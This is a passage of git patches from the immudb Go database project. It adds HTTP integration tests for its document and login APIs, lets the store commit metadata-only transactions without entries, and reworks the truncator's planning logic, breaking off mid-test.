strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RuntimeError + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseDocumentServiceDocumentProofResponse parses an HTTP response from a DocumentServiceDocumentProofWithResponse call +func ParseDocumentServiceDocumentProofResponse(rsp *http.Response) (*DocumentServiceDocumentProofResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &DocumentServiceDocumentProofResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest DocumentschemaDocumentProofResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RuntimeError + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseDocumentServiceDocumentSearchResponse parses an HTTP response from a DocumentServiceDocumentSearchWithResponse call +func ParseDocumentServiceDocumentSearchResponse(rsp *http.Response) (*DocumentServiceDocumentSearchResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &DocumentServiceDocumentSearchResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest DocumentschemaDocumentSearchResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RuntimeError + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} diff --git a/test/objectstorage_tests/objects_tests/collections_test.go b/test/objectstorage_tests/objects_tests/collections_test.go new file mode 100644 index 0000000000..b20371b674 --- /dev/null +++ b/test/objectstorage_tests/objects_tests/collections_test.go @@ -0,0 +1,60 @@ +package main + +import ( + "context" + "testing" + + "github.com/codenotary/immudb/test/objectstorage_tests/immudbhttpclient/immudbdocuments" + "github.com/stretchr/testify/assert" +) + +func TestCreateCollection(t *testing.T) { + client := getAuthorizedDocumentsClient() + collection := GetStandarizedRandomString() + indexKeys := make(map[string]immudbdocuments.DocumentschemaIndexOption) + primaryKeys := make(map[string]immudbdocuments.DocumentschemaIndexOption) + stringType := immudbdocuments.STRING + primaryKeys["test"] = immudbdocuments.DocumentschemaIndexOption{ + Type: &stringType, + } + req := immudbdocuments.DocumentServiceCollectionCreateJSONRequestBody{ + IndexKeys: &indexKeys, + PrimaryKeys: &primaryKeys, + Name: &collection, + } + response, _ := client.DocumentServiceCollectionCreateWithResponse(context.Background(), req) + assert.True(t, response.StatusCode() == 200) + assert.True(t, *response.JSON200.Collection.Name == collection) + + response, _ = client.DocumentServiceCollectionCreateWithResponse(context.Background(), req) + assert.True(t, response.JSONDefault.Error != nil) +} + +func TestListCollections(t *testing.T) { + client := getAuthorizedDocumentsClient() + collectionName := CreateAndGetStandardTestCollection(client) + + response, _ := client.DocumentServiceCollectionListWithResponse(context.Background(), immudbdocuments.DocumentServiceCollectionListJSONRequestBody{}) + assert.True(t, response.StatusCode() == 200) + collectionFound := false + for _, collection := range *response.JSON200.Collections { + if *collection.Name == collectionName { + collectionFound = true + assert.True(t, collection.PrimaryKeys != nil) + assert.True(t, collection.IndexKeys == nil) + break + } + } + assert.True(t, collectionFound) +} + +func TestGetCollection(t *testing.T) { + client := getAuthorizedDocumentsClient() + collectionName := CreateAndGetStandardTestCollection(client) + + response, _ := client.DocumentServiceCollectionGetWithResponse(context.Background(), &immudbdocuments.DocumentServiceCollectionGetParams{ + Name: &collectionName, + }) + assert.True(t, response.StatusCode() == 200) + assert.True(t, *response.JSON200.Collection.Name == collectionName) +} diff --git a/test/objectstorage_tests/objects_tests/documents_test.go b/test/objectstorage_tests/objects_tests/documents_test.go new file mode 100644 index 0000000000..64e1afbafd --- /dev/null +++ b/test/objectstorage_tests/objects_tests/documents_test.go @@ -0,0 +1,58 @@ +package main + +import ( + "context" + "fmt" + "testing" + + "github.com/codenotary/immudb/test/objectstorage_tests/immudbhttpclient/immudbdocuments" + "github.com/google/uuid" + "github.com/stretchr/testify/assert" +) + +func TestCreateDocument(t *testing.T) { + client := getAuthorizedDocumentsClient() + id := uuid.New() + documentId := id.String() + documentToInsert := make(map[string]interface{}) + documentToInsert["_id"] = id.String() + documentToInsert["name"] = "John" + documentToInsert["surname"] = "Doe" + documentToInsert["age"] = 30 + documentsToInsert := []map[string]interface{}{documentToInsert} + collectionName := CreateAndGetStandardTestCollection(client) + + req := immudbdocuments.DocumentschemaDocumentInsertRequest{ + Collection: &collectionName, + Document: &documentsToInsert, + } + response, _ := client.DocumentServiceDocumentInsertWithResponse(context.Background(), req) + assert.True(t, response.StatusCode() == 200) + page := int64(1) + perPage := int64(100) + operator := immudbdocuments.EQ + fieldName := "_id" + query := []immudbdocuments.DocumentschemaDocumentQuery{ + { + Field: &fieldName, + Value: &documentId, + Operator: &operator, + }, + } + searchReq := immudbdocuments.DocumentschemaDocumentSearchRequest{ + Collection: &collectionName, + Page: &page, + PerPage: &perPage, + Query: &query, + } + searchResponse, _ := client.DocumentServiceDocumentSearchWithResponse(context.Background(), searchReq) + fmt.Println(searchResponse.StatusCode()) + assert.True(t, searchResponse.StatusCode() == 200) + documents := *searchResponse.JSON200.Results + first := documents[0] + assert.True(t, first["_id"] == documentId) + assert.True(t, first["age"] == 30) + assert.True(t, first["name"] == "John") + assert.True(t, first["surname"] == "Doe") + +} diff --git a/test/objectstorage_tests/objects_tests/login_test.go b/test/objectstorage_tests/objects_tests/login_test.go new file mode 100644 index 0000000000..3b628b8833 --- /dev/null +++ b/test/objectstorage_tests/objects_tests/login_test.go @@ -0,0 +1,36 @@ +package main + +import ( + "context" + "testing" + + authorizationClient "github.com/codenotary/immudb/test/objectstorage_tests/immudbhttpclient/immudbauth" + + "github.com/stretchr/testify/assert" +) + +func TestLogin(t *testing.T) { + authClient := getAuthorizationClient() + + badLogin := "immudbXXX" + badPassword := "immudbXXX" + badDatabase := "defaultdbXXX" + + defaultLogin := "immudb" + defaultPassword := "immudb" + defaultDatabase := "defaultdb" + response, _ := authClient.AuthorizationServiceOpenSessionV2WithResponse(context.Background(), authorizationClient.AuthorizationServiceOpenSessionV2JSONRequestBody{ + Username: &badLogin, + Password: &badPassword, + Database: &badDatabase, + }) + assert.True(t, *response.JSONDefault.Message == "invalid user name or password") + + response, _ = authClient.AuthorizationServiceOpenSessionV2WithResponse(context.Background(), authorizationClient.AuthorizationServiceOpenSessionV2JSONRequestBody{ + Username: &defaultLogin, + Password: &defaultPassword, + Database: &defaultDatabase, + }) + assert.True(t, response.StatusCode() == 200) + assert.True(t, len(*response.JSON200.Token) > 0) +} diff --git a/test/objectstorage_tests/objects_tests/objecttestutils.go b/test/objectstorage_tests/objects_tests/objecttestutils.go new file mode 100644 index 0000000000..0428e15d32 --- /dev/null +++ b/test/objectstorage_tests/objects_tests/objecttestutils.go @@ -0,0 +1,91 @@ +package main + +import ( + "context" + "net/http" + "os" + + authorizationClient "github.com/codenotary/immudb/test/objectstorage_tests/immudbhttpclient/immudbauth" + documentsClient "github.com/codenotary/immudb/test/objectstorage_tests/immudbhttpclient/immudbdocuments" + + "github.com/google/uuid" +) + +var baseURL = GetEnv("OBJECTS_TEST_BASEURL", "http://localhost:8091/api/v2") + +func GetEnv(key, defaultValue string) string { + value := os.Getenv(key) + if len(value) == 0 { + return defaultValue + } + return value +} +func GetStandarizedRandomString() string { + return uuid.New().String() +} + +func getAuthorizationClient() *authorizationClient.ClientWithResponses { + client, err := authorizationClient.NewClientWithResponses(baseURL) + if err != nil { + panic(err) + } + return client +} + +func getDocumentsClient(opts ...documentsClient.ClientOption) *documentsClient.ClientWithResponses { + client, err := documentsClient.NewClientWithResponses(baseURL, opts...) + if err != nil { + panic(err) + } + return client +} + +func getAuthorizedDocumentsClient() *documentsClient.ClientWithResponses { + authClient := getAuthorizationClient() + defaultLogin := "immudb" + defaultPassword := "immudb" + defaultDatabase := "defaultdb" + response, err := authClient.AuthorizationServiceOpenSessionV2WithResponse(context.Background(), authorizationClient.AuthorizationServiceOpenSessionV2JSONRequestBody{ + Username: &defaultLogin, + Password: &defaultPassword, + Database: &defaultDatabase, + }) + if err != nil { + panic(err) + } + if response.StatusCode() != 200 { + panic("Could not login") + } + + client := getDocumentsClient(documentsClient.WithRequestEditorFn( + func(ctx context.Context, req *http.Request) error { + req.Header.Set("grpc-metadata-sessionid", *response.JSON200.Token) + return nil + }, + )) + + return client +} + +func CreateAndGetStandardTestCollection(client *documentsClient.ClientWithResponses) string { + collectionName := GetStandarizedRandomString() + indexKeys := make(map[string]documentsClient.DocumentschemaIndexOption) + primaryKeys := make(map[string]documentsClient.DocumentschemaIndexOption) + stringType := documentsClient.STRING + primaryKeys["_id"] = documentsClient.DocumentschemaIndexOption{ + Type: &stringType, + } + req := documentsClient.DocumentServiceCollectionCreateJSONRequestBody{ + Name: &collectionName, + IndexKeys: &indexKeys, + PrimaryKeys: &primaryKeys, + } + response, err := client.DocumentServiceCollectionCreateWithResponse(context.Background(), req) + if err != nil { + panic(err) + } + if response.StatusCode() != 200 { + panic("No 200 response") + } + return collectionName +} diff --git a/test/objectstorage_tests/testall.sh b/test/objectstorage_tests/testall.sh new file mode 100644 index 0000000000..05f86442fb --- /dev/null +++ b/test/objectstorage_tests/testall.sh @@ -0,0 +1 @@ +go test ./... -v -count=1 \ No newline at end of file From e77850d3d83340fd7245f0c68fc912ceea7086a5 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 18 Mar 2023 16:02:42 -0300 Subject: [PATCH 0350/1062] chore(embedded/store): allow tx without entries as long as it contains metadata Signed-off-by: Jeronimo Irazabal --- embedded/htree/htree.go | 12 +++++------- embedded/htree/htree_test.go | 9 +++------ embedded/store/immustore.go | 12 +++++++++--- embedded/store/immustore_test.go | 28 +++++++++++++++++++++++++--- embedded/store/tx.go | 14 ++------------ embedded/store/tx_metadata.go | 4 ++++ embedded/store/tx_metadata_test.go | 10 ++++++++-- 7 files changed, 56 insertions(+), 33 deletions(-) diff --git a/embedded/htree/htree.go b/embedded/htree/htree.go index d44080f0c0..c3d0ab84bb 100644 --- a/embedded/htree/htree.go +++ b/embedded/htree/htree.go @@ -71,7 +71,9 @@ func (t *HTree) BuildWith(digests [][sha256.Size]byte) error { } if len(digests) == 0 { - return ErrIllegalArguments + t.width = 0 + t.root = sha256.Sum256(nil) + return nil } for i, d := range digests { @@ -110,12 +112,8 @@ func (t *HTree) BuildWith(digests [][sha256.Size]byte) error { return nil } -func (t *HTree) Root() (root [sha256.Size]byte, err error) { - if t.width == 0 { - err = ErrIllegalState - return - } - return t.root, nil +func (t *HTree) Root() [sha256.Size]byte { + return t.root } // InclusionProof returns the shortest list of additional nodes required to compute the root diff --git a/embedded/htree/htree_test.go b/embedded/htree/htree_test.go index d42b00ea7e..448655fca3 100644 --- a/embedded/htree/htree_test.go +++ b/embedded/htree/htree_test.go @@ -34,9 +34,6 @@ func TestHTree(t *testing.T) { require.NoError(t, err) require.NotNil(t, tree) - _, err = tree.Root() - require.ErrorIs(t, err, ErrIllegalState) - digests := make([][sha256.Size]byte, maxWidth) for i := 0; i < len(digests); i++ { @@ -48,8 +45,7 @@ func TestHTree(t *testing.T) { err = tree.BuildWith(digests) require.NoError(t, err) - root, err := tree.Root() - require.NoError(t, err) + root := tree.Root() for i := 0; i < len(digests); i++ { proof, err := tree.InclusionProof(i) @@ -74,7 +70,8 @@ func TestHTree(t *testing.T) { } err = tree.BuildWith(nil) - require.ErrorIs(t, err, ErrIllegalArguments) + require.NoError(t, err) + require.Equal(t, sha256.Sum256(nil), tree.Root()) err = tree.BuildWith(make([][sha256.Size]byte, maxWidth+1)) require.ErrorIs(t, err, ErrMaxWidthExceeded) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 2e5e017d57..4fc0962723 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1141,6 +1141,10 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader return nil, fmt.Errorf("%w: transaction does not validate against header", err) } + if len(otx.entries) == 0 && otx.metadata.IsEmpty() { + return nil, ErrNoEntriesProvided + } + err = s.validateEntries(otx.entries) if err != nil { return nil, err @@ -1731,6 +1735,10 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 return nil, err } + if len(otx.entries) == 0 { + return nil, ErrNoEntriesProvided + } + err = s.validateEntries(otx.entries) if err != nil { return nil, err @@ -2664,9 +2672,6 @@ func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, s } func (s *ImmuStore) validateEntries(entries []*EntrySpec) error { - if len(entries) == 0 { - return ErrNoEntriesProvided - } if len(entries) > s.maxTxEntries { return ErrMaxTxEntriesLimitExceeded } @@ -2691,6 +2696,7 @@ func (s *ImmuStore) validateEntries(entries []*EntrySpec) error { } m[b64k] = struct{}{} } + return nil } diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 6c034e6fe7..a2b60c95d2 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -767,9 +767,6 @@ func TestImmudbStoreEdgeCases(t *testing.T) { require.ErrorIs(t, err, ErrKeyNotFound) t.Run("validateEntries", func(t *testing.T) { - err = immuStore.validateEntries(nil) - require.ErrorIs(t, err, ErrNoEntriesProvided) - err = immuStore.validateEntries(make([]*EntrySpec, immuStore.maxTxEntries+1)) require.ErrorIs(t, err, ErrMaxTxEntriesLimitExceeded) @@ -4836,3 +4833,28 @@ func TestImmudbStoreTruncateUptoTx_WithDataPostTruncationPoint(t *testing.T) { } } } + +func TestCommitOfEmptyTxWithMetadata(t *testing.T) { + st, err := Open(t.TempDir(), DefaultOptions()) + require.NoError(t, err) + require.NotNil(t, st) + + defer immustoreClose(t, st) + + tx, err := st.NewWriteOnlyTx(context.Background()) + require.NoError(t, err) + + tx.WithMetadata(NewTxMetadata().WithTruncatedTxID(1)) + + hdr, err := tx.Commit(context.Background()) + require.NoError(t, err) + + txholder, err := st.fetchAllocTx() + require.NoError(t, err) + + defer st.releaseAllocTx(txholder) + + err = st.readTx(hdr.ID, false, true, txholder) + require.NoError(t, err) + require.Empty(t, txholder.Entries()) +} diff --git a/embedded/store/tx.go b/embedded/store/tx.go index 844ffb014a..f17d99dd86 100644 --- a/embedded/store/tx.go +++ b/embedded/store/tx.go @@ -348,12 +348,7 @@ func (tx *Tx) BuildHashTree() error { return err } - root, err := tx.htree.Root() - if err != nil { - return err - } - - tx.header.Eh = root + tx.header.Eh = tx.htree.Root() return nil } @@ -619,12 +614,7 @@ func (t *txDataReader) buildAndValidateHtree(htree *htree.HTree) error { return err } - root, err := htree.Root() - if err != nil { - return err - } - - t.h.Eh = root + t.h.Eh = htree.Root() if t.h.Alh() != alh { return fmt.Errorf("%w: ALH mismatch at tx %d", ErrCorruptedTxData, t.h.ID) diff --git a/embedded/store/tx_metadata.go b/embedded/store/tx_metadata.go index 35184709b6..5497c4adb8 100644 --- a/embedded/store/tx_metadata.go +++ b/embedded/store/tx_metadata.go @@ -88,6 +88,10 @@ func NewTxMetadata() *TxMetadata { } } +func (md *TxMetadata) IsEmpty() bool { + return md == nil || len(md.attributes) == 0 +} + func (md *TxMetadata) Equal(amd *TxMetadata) bool { if amd == nil || md == nil { return false diff --git a/embedded/store/tx_metadata_test.go b/embedded/store/tx_metadata_test.go index af31bba4df..00f876c236 100644 --- a/embedded/store/tx_metadata_test.go +++ b/embedded/store/tx_metadata_test.go @@ -22,6 +22,8 @@ import ( func TestTxMetadata(t *testing.T) { md := NewTxMetadata() + require.True(t, md.IsEmpty()) + bs := md.Bytes() require.Nil(t, bs) @@ -36,6 +38,7 @@ func TestTxMetadata(t *testing.T) { require.NoError(t, err) require.True(t, md.Equal(desmd)) + require.True(t, desmd.IsEmpty()) } func TestTxMetadataWithAttributes(t *testing.T) { @@ -53,12 +56,13 @@ func TestTxMetadataWithAttributes(t *testing.T) { err = desmd.ReadFrom(nil) require.NoError(t, err) - v, err := desmd.GetTruncatedTxID() + _, err = desmd.GetTruncatedTxID() require.ErrorIs(t, err, ErrTxNotPresentInMetadata) desmd.WithTruncatedTxID(1) require.True(t, desmd.HasTruncatedTxID()) - v, err = desmd.GetTruncatedTxID() + + v, err := desmd.GetTruncatedTxID() require.NoError(t, err) require.Equal(t, uint64(1), v) @@ -67,6 +71,8 @@ func TestTxMetadataWithAttributes(t *testing.T) { require.NoError(t, err) require.Equal(t, uint64(10), v) + require.False(t, desmd.IsEmpty()) + bs = desmd.Bytes() require.NotNil(t, bs) require.Len(t, bs, maxTxMetadataLen) From 4abd4307a7f10629025eb62435346fadb93da541 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 20 Mar 2023 16:03:44 -0300 Subject: [PATCH 0351/1062] chore(embedded/store): make truncation validation tolerate entryless txs Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 4fc0962723..f01e2785ea 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -66,6 +66,7 @@ var ErrMaxConcurrencyLimitExceeded = errors.New("max concurrency limit exceeded" var ErrPathIsNotADirectory = errors.New("path is not a directory") var ErrCorruptedTxData = errors.New("tx data is corrupted") var ErrCorruptedTxDataMaxTxEntriesExceeded = fmt.Errorf("%w: maximum number of TX entries exceeded", ErrCorruptedTxData) +var ErrTxEntryIndexOutOfRange = errors.New("tx entry index out of range") var ErrCorruptedTxDataUnknownHeaderVersion = fmt.Errorf("%w: unknown TX header version", ErrCorruptedTxData) var ErrCorruptedTxDataMaxKeyLenExceeded = fmt.Errorf("%w: maximum key length exceeded", ErrCorruptedTxData) var ErrCorruptedTxDataDuplicateKey = fmt.Errorf("%w: duplicate key in a single TX", ErrCorruptedTxData) @@ -2953,7 +2954,7 @@ func (s *ImmuStore) readTxOffsetAt(txID uint64, allowPrecommitted bool, index in } if hdr.NEntries < index { - return nil, ErrCorruptedTxDataMaxTxEntriesExceeded + return nil, ErrTxEntryIndexOutOfRange } e := &TxEntry{k: make([]byte, s.maxKeyLen)} @@ -3000,7 +3001,6 @@ func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { s.logger.Infof("running truncation up to transaction '%d'", minTxID) - var err error // tombstones maintain the minimum offset for each value log file that can be safely deleted. tombstones := make(map[byte]int64) @@ -3044,8 +3044,9 @@ func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { { var i uint64 = minTxID for i > 0 && len(tombstones) != s.MaxIOConcurrency() { - err = back(i) - if err != nil { // if there is an error reading a transaction, stop the traversal and return the error. + err := back(i) + if err != nil && !errors.Is(err, ErrTxEntryIndexOutOfRange) /* tx has entries*/ { + // if there is an error reading a transaction, stop the traversal and return the error. s.logger.Errorf("failed to fetch transaction %d {traversal=back, err = %v}", i, err) return err } @@ -3062,8 +3063,8 @@ func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { // TODO: add more integration tests // Iterate over all future transactions to check if any offset lies before past transaction(s) offset. for j := minTxID; j <= maxTxID; j++ { - err = front(j) - if err != nil { + err := front(j) + if err != nil && !errors.Is(err, ErrTxEntryIndexOutOfRange) /* tx has entries*/ { s.logger.Errorf("failed to fetch transaction %d {traversal=front, err = %v}", j, err) return err } From a1ab24dfe694798ef121efe7f1d9cee693a70368 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 20 Mar 2023 16:33:03 -0300 Subject: [PATCH 0352/1062] fix(pkg/database): fix truncation and contemplate entry-less txs Signed-off-by: Jeronimo Irazabal --- pkg/database/truncator.go | 33 ++++++++++++++++++--------------- 1 file changed, 18 insertions(+), 15 deletions(-) diff --git a/pkg/database/truncator.go b/pkg/database/truncator.go index a69aa231b0..f7b758c54d 100644 --- a/pkg/database/truncator.go +++ b/pkg/database/truncator.go @@ -35,15 +35,15 @@ var ( // Truncator provides truncation against an underlying storage // of appendable data. type Truncator interface { - // Plan returns the transaction upto which the log can be truncated. + // Plan returns the latest transaction upto which the log can be truncated. // When resulting transaction before specified time does not exists // * No transaction header is returned. // * Returns nil TxHeader, and an error. - Plan(time.Time) (*store.TxHeader, error) + Plan(truncationUntil time.Time) (*store.TxHeader, error) // Truncate runs truncation against the relevant appendable logs. Must // be called after result of Plan(). - Truncate(context.Context, uint64) error + Truncate(ctx context.Context, txID uint64) error } func NewVlogTruncator(d DB) Truncator { @@ -61,23 +61,24 @@ type vlogTruncator struct { // Plan returns the transaction upto which the value log can be truncated. // When resulting transaction before specified time does not exists -// * No transaction header is returned. -// * Returns nil TxHeader, and an error. -// ts time is truncated to the start of the day. -func (v *vlogTruncator) Plan(ts time.Time) (*store.TxHeader, error) { - hdr, err := v.db.st.FirstTxSince(ts) +// - No transaction header is returned. +// - Returns nil TxHeader, and an error. +func (v *vlogTruncator) Plan(truncationUntil time.Time) (*store.TxHeader, error) { + hdr, err := v.db.st.LastTxUntil(truncationUntil) if err != nil { return nil, err } - // if the transaction is on or before the retention period, then we can truncate upto this - // transaction otherwise, we cannot truncate since the retention period has not been reached - // and truncation would otherwise add an extra transaction to the log for sql catalogue. - err = v.isRetentionPeriodReached(ts, time.Unix(hdr.Ts, 0)) - if err != nil { - return nil, err + // look for the newst transaction with entries + for err == nil { + if hdr.NEntries > 0 { + break + } + + hdr, err = v.db.st.ReadTxHeader(hdr.ID-1, false, false) } - return hdr, nil + + return hdr, err } // isRetentionPeriodReached returns an error if the retention period has not been reached. @@ -117,7 +118,9 @@ func (v *vlogTruncator) Truncate(ctx context.Context, txID uint64) error { v.metrics.ran.Inc() v.metrics.duration.Observe(time.Since(t).Seconds()) }(time.Now()) + v.db.Logger.Infof("copying sql catalog before truncation for database '%s' at tx %d", v.db.name, txID) + // copy sql catalogue sqlCommitHdr, err := v.commitCatalog(ctx, txID) if err != nil { From f874f5a05019807432f10e1bea9c54775764bcb5 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 21 Mar 2023 11:42:53 -0300 Subject: [PATCH 0353/1062] fix(pkg/truncator): adjust plan logic and contemplate empty txs Signed-off-by: Jeronimo Irazabal --- pkg/database/database_test.go | 12 ++- pkg/database/truncator.go | 28 +++---- pkg/database/truncator_test.go | 102 +++----------------------- pkg/truncator/truncator.go | 126 +++++++++++++++----------------- pkg/truncator/truncator_test.go | 79 +++++++------------- 5 files changed, 109 insertions(+), 238 deletions(-) diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index f5e96627cf..a8bf96564c 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -2168,12 +2168,10 @@ db := makeDb(t) */ func Test_database_truncate(t *testing.T) { - rootPath := t.TempDir() - - options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) - options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) - options.storeOpts.MaxIOConcurrency = 1 - options.storeOpts.VLogCacheSize = 0 + options := DefaultOption().WithDBRootPath(t.TempDir()) + options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)). + WithFileSize(6). + WithVLogCacheSize(0) db := makeDbWith(t, "db", options) @@ -2194,7 +2192,7 @@ func Test_database_truncate(t *testing.T) { c := NewVlogTruncator(db) - hdr, err := c.Plan(queryTime) + hdr, err := c.Plan(context.Background(), queryTime) require.NoError(t, err) require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) diff --git a/pkg/database/truncator.go b/pkg/database/truncator.go index f7b758c54d..66704e805d 100644 --- a/pkg/database/truncator.go +++ b/pkg/database/truncator.go @@ -27,9 +27,8 @@ import ( ) var ( - // ErrNoTxBeforeTime is returned when retention period is not reached. - ErrRetentionPeriodNotReached = errors.New("retention period has not been reached") ErrTruncatorAlreadyRunning = errors.New("truncator already running") + ErrRetentionPeriodNotReached = errors.New("retention period has not been reached") ) // Truncator provides truncation against an underlying storage @@ -39,7 +38,7 @@ type Truncator interface { // When resulting transaction before specified time does not exists // * No transaction header is returned. // * Returns nil TxHeader, and an error. - Plan(truncationUntil time.Time) (*store.TxHeader, error) + Plan(ctx context.Context, truncationUntil time.Time) (*store.TxHeader, error) // Truncate runs truncation against the relevant appendable logs. Must // be called after result of Plan(). @@ -63,8 +62,11 @@ type vlogTruncator struct { // When resulting transaction before specified time does not exists // - No transaction header is returned. // - Returns nil TxHeader, and an error. -func (v *vlogTruncator) Plan(truncationUntil time.Time) (*store.TxHeader, error) { +func (v *vlogTruncator) Plan(ctx context.Context, truncationUntil time.Time) (*store.TxHeader, error) { hdr, err := v.db.st.LastTxUntil(truncationUntil) + if errors.Is(err, store.ErrTxNotFound) { + return nil, ErrRetentionPeriodNotReached + } if err != nil { return nil, err } @@ -75,21 +77,16 @@ func (v *vlogTruncator) Plan(truncationUntil time.Time) (*store.TxHeader, error) break } + if ctx.Err() != nil { + return nil, err + } + hdr, err = v.db.st.ReadTxHeader(hdr.ID-1, false, false) } return hdr, err } -// isRetentionPeriodReached returns an error if the retention period has not been reached. -func (v *vlogTruncator) isRetentionPeriodReached(retentionPeriod time.Time, txTimestamp time.Time) error { - txTime := TruncateToDay(txTimestamp) - if txTime.Unix() <= retentionPeriod.Unix() { - return nil - } - return ErrRetentionPeriodNotReached -} - // commitCatalog commits the current sql catalogue as a new transaction. func (v *vlogTruncator) commitCatalog(ctx context.Context, txID uint64) (*store.TxHeader, error) { // copy sql catalogue @@ -166,8 +163,3 @@ func newTruncatorMetrics(db string) *truncatorMetrics { return m } - -// TruncateToDay truncates the time to the beginning of the day. -func TruncateToDay(t time.Time) time.Time { - return time.Date(t.Year(), t.Month(), t.Day(), 0, 0, 0, 0, t.Location()) -} diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 58bb5afbd2..8b84f2ec6b 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -19,7 +19,6 @@ package database import ( "context" "fmt" - "reflect" "sort" "sync" "testing" @@ -74,7 +73,7 @@ func Test_vlogCompactor_WithMultipleIO(t *testing.T) { fileSize := 1024 - options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options := DefaultOption().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 5 options.storeOpts.MaxConcurrency = 500 @@ -119,7 +118,7 @@ func Test_vlogCompactor_WithSingleIO(t *testing.T) { fileSize := 1024 - options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options := DefaultOption().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.MaxConcurrency = 500 @@ -176,7 +175,7 @@ func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { fileSize := 1024 - options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options := DefaultOption().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.MaxConcurrency = 500 @@ -269,7 +268,7 @@ func Test_vlogCompactor_Plan(t *testing.T) { fileSize := 1024 - options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options := DefaultOption().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.VLogCacheSize = 0 @@ -290,7 +289,8 @@ func Test_vlogCompactor_Plan(t *testing.T) { } c := NewVlogTruncator(db) - hdr, err := c.Plan(queryTime) + + hdr, err := c.Plan(context.Background(), queryTime) require.NoError(t, err) require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) } @@ -298,7 +298,7 @@ func Test_vlogCompactor_Plan(t *testing.T) { func setupCommonTest(t *testing.T) *db { rootPath := t.TempDir() - options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options := DefaultOption().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(1024) options.storeOpts.VLogCacheSize = 0 @@ -419,7 +419,7 @@ func Test_vlogCompactor_without_data(t *testing.T) { fileSize := 1024 - options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) + options := DefaultOption().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.VLogCacheSize = 0 @@ -546,73 +546,12 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { }) } -func Test_vlogTruncator_isRetentionPeriodReached(t *testing.T) { - type args struct { - retentionPeriod time.Time - txTs time.Time - } - tests := []struct { - name string - args args - wantErr bool - }{ - { - name: "retention period not reached", - args: args{ - retentionPeriod: TruncateToDay(time.Now().Add(-24 * time.Hour)), - txTs: TruncateToDay(time.Now()), - }, - wantErr: 